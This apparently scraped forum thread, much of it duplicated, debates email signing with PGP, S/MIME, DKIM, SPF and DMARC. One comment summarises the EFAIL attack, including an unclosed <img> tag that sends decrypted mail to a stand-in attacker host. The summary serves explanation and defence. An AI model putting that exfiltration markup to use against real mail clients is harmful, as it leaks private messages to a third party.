The problem is we have two bad solutions, but bad for different reasons. None of them works transparently for the user.
GnuPG was built by nerds who thought you could explain the Web of Trust to a normal human being.
S/MIME was built to create a business model for CAs. You have to get a cert from somewhere and pay for it. (Also for encryption S/MIME is just broken, but we’re talking signatures here, so…) And yeah, I know there are options to get one for free, but the issue is, it’s not automated.
Some people here compare it to HTTPS. There’s just no tech like HTTPS for email. HTTPS from the user side works completely transparently and for the web admin it’s getting much easier with ACME and Let’s Encrypt.
Of course you need a some measure of trust like a WoT or CA because how else are you going to verify that the sender is legitimate? Without that you can only really do xkcd authentication.
Yes, you need some way to determine what you trust; but WoT states that if you trust Alice and I trust you, then I also trust Alice, and then eventually this web will be large enough I’ll be able to verify emails from everyone.
But that’s not the goal here; I just want to verify a bunch of organisations I communicate with; like, say, my government.
I think that maybe we’ve been too distracted with building a generic solution here.
Trust On First Use goes a long way, especially when you have encrypted (all its faults nonewithstanding) and the communication is bidirectional as the recipient will notice that something is off if you use the wrong key to encrypt for them.
Gotcha. Interesting read. I’ll summarize for anyone who doesn’t want to read the paper.
The attack on S/MIME is a known plaintext attack that guesses—almost always correctly—that the encrypted message starts with “Content-type: multipart/signed”. You then can derive the initial parameters of the CBC encryption mode, and prepend valid encrypted data to the message, that will chain properly to the remainder of the message.
To exfiltrate the message contents you prepend HTML that will send the contents of the message to a remote server, like an <img> tag with src="http://example-attacker-domain.com/ without a closing quote. When the email client loads images, it sends a request to the attacking server containing the fully decrypted contents of the message.
S/MIME relies on the enclosed signature for authenticity AND integrity, rather than using an authenticated encryption scheme that guarantees the integrity of the encrypted message before decryption. Email clients show you the signature is invalid when you open the message, but still render the altered HTML. To stop this attack clients must refuse to render messages with invalid signatures, with no option for user override. According to their tests, no clients do this. The only existing email clients immune to the attack seem to be those that don’t know how to render HTML in the first place.
The GPG attack is similar. Unlike S/MIME, GPG includes a modification detection code (MDC). The attack on GPG thus relies on a buggy client ignoring errors validating the MDC, like accepting messages with the MDC stripped out, or even accepting messages with an incorrect MDC. A shocking 10 out of 28 clients tested had an exploitable form of this bug, including the popular Enigmail plugin.
A brief, very short, no good history of email sender verification:
90s: PGP encryption and signing gets developed but never gains mainstream adoption due to it’s brittle design
early 2000s: SPF gets created to link sender addresses to whitelisted ip address ranges. The proposed standard is undermined by the idea of SMTP FROM being different from user-visible “From” making evading restrictions trivial by spammers, and the lack of policy controls to define how receivers should react on validation failure.
Late 2000s: DKIM appears, which digitally signs emails that can be verified by a public key published by a DNS record. By itself DKIM is not actionable, as it’s not clear what the receiver server should do about invalid or unsigned emails. No large mail provider takes action based on SPF or DKIM alone.
Early 2010s: DMARC gets developed, which is a policy framework that allows domain owners to decide based on what a receiving mail server should evaluate incoming emails on, from that source domain (validate based on DKIM? SPF? Both? Neither?), what to do on validation failure and defines a reporting mechanism so domains can look at reports in aggregate.
So to recap, the solution already exists: deploy SPF+DKIM, define your DMARC policy and you have email sender validation. Ignore PGP or S/MIME, those are very 90s standards that are not feasible to deploy on scale.
Yeah, most organizations (90%-ish) decline to set a hard-reject DMARC policy. That is a story for another day though.
Yeah, most organizations (90%-ish) decline to set a hard-reject DMARC policy. That is a story for another day though.
That’s probably due to broken mailing lists. IETF MLs correctly handle that case by changing From, lists.sr.ht don’t change the e-mail but too many mailing lists just modify the e-mail and relay it further thus breaking DKIM signatures.
I don’t understand why the author dismisses DKIM so quickly. The thing you want to know is whether the mail was sent by that organization it claims to be.
So, was the gift card sent by the University of Queensland or a scammer? Was that gift card sent by Amazon or a scammer? Was the bank email sent by your bank?
You don’t actually need to verify the signature end to end to be a massive improvement over the status quo. Yes, someone could’ve gotten my bank to send scam emails, but in this case this is the responsibility of my bank to solve that problem. Yes, signing would be better but let’s start with easy things to fix and DKIM so far has the most reasonable chance of doing so.
I don’t understand why the author dismisses DKIM so quickly. The thing you want to know is whether the mail was sent by that organization it claims to be.
But that is not what DKIM really does? If I send an email from mail.amazon-account-security.com or amazonn.com then it just verifies that it was sent from that domain, not that it was sent from the organisation Amazon Inc.
What I am proposing is subtly different. In my (utopian) future every serious organisation will sign their email with PGP (just like every serious organisation uses https). For large organisation email clients can bake in key in clients. Then every time I get an email which claims to be from Amazon I can see it’s either not signed, or not signed by a key I know.
Oh, now I see where you’re coming from. Thanks for explaining.
But that is not what DKIM really does? If I send an email from mail.amazon-account-security.com or amazonn.com then it just verifies that it was sent from that domain, not that it was sent from the organisation Amazon Inc.
That is true. But then Orgs could have a policy that you can trust emails sent from “amazon.com” (as long as DKIM verification is successful). Because right now to verify you have to look at emails and determine whether you want to click a link that does to login.amazonn.com, which is hidden in the HTML part of the mail anyway.
A field saying “yes, this mail came really from amazon.com” or “yes, it came from paypal.com” would make my life a lot easier, because I could discard phishing emails that fail this check immediately. But so far adoption of DKIM seems to be rather low and I myself only use it as a weight in my spam filter, since organisations might not be strict about setting up DKIM properly.
The problem with your suggestion is that you now shifted the trust problem to some kind of CA. So email clients can bake that in, and give Amazon emails preferred treatment, while my own domain is just as untrusted as any scammer. Or we have CAs like the existing ones with TLS where everyone can get a certificate and the signed email will say “yes, this email is signed and is guaranteed to be sent by accounts@amazonn.com”.
That’s sort of how S/MIME works in big orgs, where users trust the internal CA to only give out certificates to authorized people. But it can’t be scaled to the Internet.
The similar problem exists for HTTPS just as well, since you can go on https://www.amazonn.com and get your account information stolen just fine, since there is no authority to tell you that the URL is most likely not what you want. I mean, Safe Browsing does something like this, again giving priority to big established sites.
Yes, a CA giving out certificates to anyone would defeat the point. Keys baked in to email clients would be a convenience, or “starer kit”, not the entire solution.
I’m not completely sure what the best possible solution is. One solution might be to simply relax: once you sign up for a service you get a “welcome aboard” message (or even email) which allows you to easily import their key. the crypto-fanatics will be quick to point out this isn’t a secure key exchange, but that’s okay. We’re just concerned with “every-day security”, not “I am guarding the nuclear launch codes”-security. For those purposes, this is more than secure enough (and a lot better than doing nothing!).
Words like “signing” or even “signature” don’t even need to be mentioned; the email client might show a message like “Outlook verified that this email was sent by Amazon, Inc.”, and the initial key import might be something like “Allow Outlook to verify that emails are sent by Amazon, Inc.”
CAs could still work, provided that they do proper/real verification instead of the “we’ll give anyone a certificate if they ask”-approach.
Even if we do limit ourselves to just “bake in keys in client” then that would still be a gain. Most mass-phising campaigns seems limited to just a few large websites (PayPal, Amazon, Google, Apple, facebook, Twitter, etc.) with millions of accounts. Protecting these is a good start.
It turns out that you can enable PGP encryption for your Facebook account. You upload your public key in the settings, and then enable encrypted emails. Afterward, all the emails from Facebook will be encrypted. As the article points out, this makes it trivial to see if an email is legitimate. It’s really too bad that more services don’t do this. (Or even just signatures.)
Encrypted and signed or just encrypted? Anyone with your public key can send you an encrypted e-mail and that does nothing to prove the authenticity of the sender.
DKIM solves most of these problems and with DMARC organizations can ask to reject all unsigned e-mails claiming to be from their domain.
Last time I checked S/MIME don’t have appropriate measures (error correction codes or authenticated encryption) to counter efail (not an expert on this though).
Gmail shows a verified badge with S/MIME signed e-mails (see screenshot on this page).
Or publish the keys on a DNS record.
Don’t get PGP keys from DNS records, they are largely obsolete and insecure - DNSSEC is not used by GnuPG or any other client that uses them.
Modern alternative to DNS record discovery is Web Key Directory that is super easy to deploy (just dumping binary GPG key on a HTTPS host).
Even if PGP was used there is no standard to indicate that you want to reject all unsigned e-mails from given domain (akin to DMARC).
There is also interesting post by K-9 authors about signed only e-mails (that’s for personal communication).
There are two real reasons here, which the author doesn’t mention.
The first is that we currently have no way to reliably distribute keys to users and no way for users to handle and store them. I doubt this will get solved in any other way than giving users smartcards. Also who would manage those smartcards? Are we going to put them on the passports and/or other government ID-cards? Sure it would solve the whole CA-mess, but it will open up the door to another dystopian future.
The second reason is that it simply is a terrible system in terms of usability and because of that, the users just don’t care. In fact, most users don’t care about encryption at all, unless they are forced to do so.
The answer is simple: The discomfort from spam, phishing, recovering from “Nigerian scams for the end users as a whole, is far less than the current ease of use with all the burden of email defense falling in the hands of various postmasters and the five big mail hubs (themselves being a very small and very technical part of the whole email userbase).
Another possible way to do this.. This only solves 1 use-case for email however, notifications from a provider that you have an account with.
When provider A (say utility company, whatever) sends an email, it also stores it locally and makes it available over a web dashboard or something.
So if you as a user get an email from provider A and want to see if it’s legitimate, you can login to your account and see the email(s) they have sent you. Assuming it’s provided over HTTPS, you get pretty decent and easy way to check if something was spam/attack or not.
You might be able to expand this a little bit by doing something like CT for email, every email you send includes a signature and link to your email transparency log, showing the email ID and a sha256 hash of the email you sent, and add in the normal, also include a signature of the sha256 sums (i.e. like CT each new email is signed with the hash of the previous email) so you can verify the entire chain. It would all be done out of band, until some clients decided to implement support, but even OOB it would have some uses.
These are just random thoughts I just had, they require more thinking before it’s worth implementing.. maybe something I’ll play with someday.
While that would help, I think that puts the onus onto the recipient. While that may be reasonable, most people are lazy. And I wouldn’t be surprised if some of them just clicked on a link in the email to get to the website to login to verify - which is the exact opposite of what you want to happen. The verification needs to be more automatic and at the time the email is being displayed.
I agree with you, but nobody has had much luck getting anything shoved out to the myriad of mail clients, of which there are countless. Even if one did say the top 10 clients, that would be a giant crap-ton of work, and many are not OSS, which would make it even more miserable to do.
If you implement the server side of all this, and make it API-able, then mail clients could implement it in clients if they wanted to. but even without that, it still would be arguably better than the pile of almost nothing we have now.
But I definitely agree with you. it’s not a 100% complete solution, but it could get there. Just like browsers are starting to actively check CT logs, but before that could happen the CT logs needed to exist first.
Most people in the security community don’t sign emails unless it’s necessary, because signing them with a key that is provably yours is essentially waiving any chance of plausible deniability. This is unfortunate, but it is what it is.
Most regular users don’t do it, because it requires people to be aware of security. Along with that users will not going out of their way to improve security unless it is provided in a way that is transparent to users. Whether or not it’s very hard to do, it’s not a priority for most people.
No, not unless they added it in the last few months. I haven’t look in to generic technical solutions for this yet.
As mentioned, I’d like to write a follow-up, but first I’d like to get some feedback on the general idea that we should all be doing this. This article is intended as “here’s some stuff I’ve been thinking about, I think I’m correct, but please debate me and I might change my mind” just as much as anything else.
The problem is we have two bad solutions, but bad for different reasons. None of them works transparently for the user.
GnuPG was built by nerds who thought you could explain the Web of Trust to a normal human being. S/MIME was built to create a business model for CAs. You have to get a cert from somewhere and pay for it. (Also for encryption S/MIME is just broken, but we’re talking signatures here, so…) And yeah, I know there are options to get one for free, but the issue is, it’s not automated.
Some people here compare it to HTTPS. There’s just no tech like HTTPS for email. HTTPS from the user side works completely transparently and for the web admin it’s getting much easier with ACME and Let’s Encrypt.
We don’t need WoT here though. WoT exists so you can send me a signed/encrypted email. Nice, but that’s not what’s needed here.
Of course you need a some measure of trust like a WoT or CA because how else are you going to verify that the sender is legitimate? Without that you can only really do xkcd authentication.
Yes, you need some way to determine what you trust; but WoT states that if you trust Alice and I trust you, then I also trust Alice, and then eventually this web will be large enough I’ll be able to verify emails from everyone.
But that’s not the goal here; I just want to verify a bunch of organisations I communicate with; like, say, my government.
I think that maybe we’ve been too distracted with building a generic solution here.
Also see my reply to your other post for some possible alternatives: https://lobste.rs/s/1cxqho/why_is_no_one_signing_their_emails#c_mllanb
Trust On First Use goes a long way, especially when you have encrypted (all its faults nonewithstanding) and the communication is bidirectional as the recipient will notice that something is off if you use the wrong key to encrypt for them.
It is? How?
The vulnerability published last year was dubbed EFAIL.
Gotcha. Interesting read. I’ll summarize for anyone who doesn’t want to read the paper.
The attack on S/MIME is a known plaintext attack that guesses—almost always correctly—that the encrypted message starts with “Content-type: multipart/signed”. You then can derive the initial parameters of the CBC encryption mode, and prepend valid encrypted data to the message, that will chain properly to the remainder of the message.
To exfiltrate the message contents you prepend HTML that will send the contents of the message to a remote server, like an
<img>tag withsrc="http://example-attacker-domain.com/without a closing quote. When the email client loads images, it sends a request to the attacking server containing the fully decrypted contents of the message.S/MIME relies on the enclosed signature for authenticity AND integrity, rather than using an authenticated encryption scheme that guarantees the integrity of the encrypted message before decryption. Email clients show you the signature is invalid when you open the message, but still render the altered HTML. To stop this attack clients must refuse to render messages with invalid signatures, with no option for user override. According to their tests, no clients do this. The only existing email clients immune to the attack seem to be those that don’t know how to render HTML in the first place.
The GPG attack is similar. Unlike S/MIME, GPG includes a modification detection code (MDC). The attack on GPG thus relies on a buggy client ignoring errors validating the MDC, like accepting messages with the MDC stripped out, or even accepting messages with an incorrect MDC. A shocking 10 out of 28 clients tested had an exploitable form of this bug, including the popular Enigmail plugin.
A brief, very short, no good history of email sender verification:
So to recap, the solution already exists: deploy SPF+DKIM, define your DMARC policy and you have email sender validation. Ignore PGP or S/MIME, those are very 90s standards that are not feasible to deploy on scale.
Yeah, most organizations (90%-ish) decline to set a hard-reject DMARC policy. That is a story for another day though.
That’s probably due to broken mailing lists. IETF MLs correctly handle that case by changing
From, lists.sr.ht don’t change the e-mail but too many mailing lists just modify the e-mail and relay it further thus breaking DKIM signatures.Good points, I’ve set up SPF and DKIM on my server but will set up DMARC and make SPF stricter!
I don’t understand why the author dismisses DKIM so quickly. The thing you want to know is whether the mail was sent by that organization it claims to be.
So, was the gift card sent by the University of Queensland or a scammer? Was that gift card sent by Amazon or a scammer? Was the bank email sent by your bank?
You don’t actually need to verify the signature end to end to be a massive improvement over the status quo. Yes, someone could’ve gotten my bank to send scam emails, but in this case this is the responsibility of my bank to solve that problem. Yes, signing would be better but let’s start with easy things to fix and DKIM so far has the most reasonable chance of doing so.
But that is not what DKIM really does? If I send an email from
mail.amazon-account-security.comoramazonn.comthen it just verifies that it was sent from that domain, not that it was sent from the organisation Amazon Inc.What I am proposing is subtly different. In my (utopian) future every serious organisation will sign their email with PGP (just like every serious organisation uses https). For large organisation email clients can bake in key in clients. Then every time I get an email which claims to be from Amazon I can see it’s either not signed, or not signed by a key I know.
I think this makes sense?
Oh, now I see where you’re coming from. Thanks for explaining.
That is true. But then Orgs could have a policy that you can trust emails sent from “amazon.com” (as long as DKIM verification is successful). Because right now to verify you have to look at emails and determine whether you want to click a link that does to
login.amazonn.com, which is hidden in the HTML part of the mail anyway.A field saying “yes, this mail came really from amazon.com” or “yes, it came from paypal.com” would make my life a lot easier, because I could discard phishing emails that fail this check immediately. But so far adoption of DKIM seems to be rather low and I myself only use it as a weight in my spam filter, since organisations might not be strict about setting up DKIM properly.
The problem with your suggestion is that you now shifted the trust problem to some kind of CA. So email clients can bake that in, and give Amazon emails preferred treatment, while my own domain is just as untrusted as any scammer. Or we have CAs like the existing ones with TLS where everyone can get a certificate and the signed email will say “yes, this email is signed and is guaranteed to be sent by accounts@amazonn.com”.
That’s sort of how S/MIME works in big orgs, where users trust the internal CA to only give out certificates to authorized people. But it can’t be scaled to the Internet.
The similar problem exists for HTTPS just as well, since you can go on https://www.amazonn.com and get your account information stolen just fine, since there is no authority to tell you that the URL is most likely not what you want. I mean, Safe Browsing does something like this, again giving priority to big established sites.
Yes, a CA giving out certificates to anyone would defeat the point. Keys baked in to email clients would be a convenience, or “starer kit”, not the entire solution.
I’m not completely sure what the best possible solution is. One solution might be to simply relax: once you sign up for a service you get a “welcome aboard” message (or even email) which allows you to easily import their key. the crypto-fanatics will be quick to point out this isn’t a secure key exchange, but that’s okay. We’re just concerned with “every-day security”, not “I am guarding the nuclear launch codes”-security. For those purposes, this is more than secure enough (and a lot better than doing nothing!).
Words like “signing” or even “signature” don’t even need to be mentioned; the email client might show a message like “Outlook verified that this email was sent by Amazon, Inc.”, and the initial key import might be something like “Allow Outlook to verify that emails are sent by Amazon, Inc.”
CAs could still work, provided that they do proper/real verification instead of the “we’ll give anyone a certificate if they ask”-approach.
Even if we do limit ourselves to just “bake in keys in client” then that would still be a gain. Most mass-phising campaigns seems limited to just a few large websites (PayPal, Amazon, Google, Apple, facebook, Twitter, etc.) with millions of accounts. Protecting these is a good start.
[Comment removed by author]
Who decides which signatures are baked in?
This is exactly the same problem as CAs.
Okay; so what alternative do you propose?
If I could solve this problem in the comment section, I would have done so already :)
It turns out that you can enable PGP encryption for your Facebook account. You upload your public key in the settings, and then enable encrypted emails. Afterward, all the emails from Facebook will be encrypted. As the article points out, this makes it trivial to see if an email is legitimate. It’s really too bad that more services don’t do this. (Or even just signatures.)
Encrypted and signed or just encrypted? Anyone with your public key can send you an encrypted e-mail and that does nothing to prove the authenticity of the sender.
Encrypted and signed.
Nice article, a couple of random remarks:
DKIM solves most of these problems and with DMARC organizations can ask to reject all unsigned e-mails claiming to be from their domain.
Last time I checked S/MIME don’t have appropriate measures (error correction codes or authenticated encryption) to counter efail (not an expert on this though).
Gmail shows a verified badge with S/MIME signed e-mails (see screenshot on this page).
Don’t get PGP keys from DNS records, they are largely obsolete and insecure - DNSSEC is not used by GnuPG or any other client that uses them.
Modern alternative to DNS record discovery is Web Key Directory that is super easy to deploy (just dumping binary GPG key on a HTTPS host).
Even if PGP was used there is no standard to indicate that you want to reject all unsigned e-mails from given domain (akin to DMARC).
There is also interesting post by K-9 authors about signed only e-mails (that’s for personal communication).
There are two real reasons here, which the author doesn’t mention.
The first is that we currently have no way to reliably distribute keys to users and no way for users to handle and store them. I doubt this will get solved in any other way than giving users smartcards. Also who would manage those smartcards? Are we going to put them on the passports and/or other government ID-cards? Sure it would solve the whole CA-mess, but it will open up the door to another dystopian future.
The second reason is that it simply is a terrible system in terms of usability and because of that, the users just don’t care. In fact, most users don’t care about encryption at all, unless they are forced to do so.
The answer is simple: The discomfort from spam, phishing, recovering from “Nigerian scams for the end users as a whole, is far less than the current ease of use with all the burden of email defense falling in the hands of various postmasters and the five big mail hubs (themselves being a very small and very technical part of the whole email userbase).
Another possible way to do this.. This only solves 1 use-case for email however, notifications from a provider that you have an account with.
When provider A (say utility company, whatever) sends an email, it also stores it locally and makes it available over a web dashboard or something.
So if you as a user get an email from provider A and want to see if it’s legitimate, you can login to your account and see the email(s) they have sent you. Assuming it’s provided over HTTPS, you get pretty decent and easy way to check if something was spam/attack or not.
You might be able to expand this a little bit by doing something like CT for email, every email you send includes a signature and link to your email transparency log, showing the email ID and a sha256 hash of the email you sent, and add in the normal, also include a signature of the sha256 sums (i.e. like CT each new email is signed with the hash of the previous email) so you can verify the entire chain. It would all be done out of band, until some clients decided to implement support, but even OOB it would have some uses.
These are just random thoughts I just had, they require more thinking before it’s worth implementing.. maybe something I’ll play with someday.
While that would help, I think that puts the onus onto the recipient. While that may be reasonable, most people are lazy. And I wouldn’t be surprised if some of them just clicked on a link in the email to get to the website to login to verify - which is the exact opposite of what you want to happen. The verification needs to be more automatic and at the time the email is being displayed.
I agree with you, but nobody has had much luck getting anything shoved out to the myriad of mail clients, of which there are countless. Even if one did say the top 10 clients, that would be a giant crap-ton of work, and many are not OSS, which would make it even more miserable to do.
If you implement the server side of all this, and make it API-able, then mail clients could implement it in clients if they wanted to. but even without that, it still would be arguably better than the pile of almost nothing we have now.
But I definitely agree with you. it’s not a 100% complete solution, but it could get there. Just like browsers are starting to actively check CT logs, but before that could happen the CT logs needed to exist first.
Most people in the security community don’t sign emails unless it’s necessary, because signing them with a key that is provably yours is essentially waiving any chance of plausible deniability. This is unfortunate, but it is what it is.
Most regular users don’t do it, because it requires people to be aware of security. Along with that users will not going out of their way to improve security unless it is provided in a way that is transparent to users. Whether or not it’s very hard to do, it’s not a priority for most people.
I am not arguing that individuals sign their emails.
I should have chosen a different title, because far too many people seem to be responding to just the title, and not the actual article body :-/
Because it’s not the default, I guess.
Ok, compelling point. Can mailgun do this for us?
No, not unless they added it in the last few months. I haven’t look in to generic technical solutions for this yet.
As mentioned, I’d like to write a follow-up, but first I’d like to get some feedback on the general idea that we should all be doing this. This article is intended as “here’s some stuff I’ve been thinking about, I think I’m correct, but please debate me and I might change my mind” just as much as anything else.
My concern would be multiple emails from the same provider, different accounts, and the details about revocation. Otherwise it sounds like a good idea
That’s actually a very reasonable point. We did it for HTTP traffic with SSL for “exactly” the same reasons, why not for email?